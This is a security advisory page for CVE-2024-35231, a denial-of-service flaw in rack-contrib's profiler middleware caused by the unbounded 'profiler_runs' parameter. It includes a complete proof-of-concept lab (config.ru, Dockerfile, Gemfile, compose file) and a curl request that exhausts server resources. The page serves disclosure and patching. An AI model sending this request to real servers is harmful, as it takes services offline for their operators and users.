Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS04YzhxLTJ4dzMtajg2Oc4AA8i6

rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end

An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.

PoC

Herein the config.ru file:

require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app

A Dockerfile:

# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

A Gemfile

source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'

A Docker compose

services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"

To run the PoC

docker compose up --build

To exploit DoS:

curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"

Impact

• Potential denial of service by remotely user-controlled data.

Permalink: https://github.com/advisories/GHSA-8c8q-2xw3-j869
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04YzhxLTJ4dzMtajg2Oc4AA8i6
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 5 months ago
Updated: 5 months ago

CVSS Score: 8.6
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Identifiers: GHSA-8c8q-2xw3-j869, CVE-2024-35231
References:

• https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869
• https://nvd.nist.gov/vuln/detail/CVE-2024-35231
• https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7
• https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml
• https://github.com/advisories/GHSA-8c8q-2xw3-j869

Repository: https://github.com/rack/rack-contrib
Blast Radius: 35.6

Affected Packages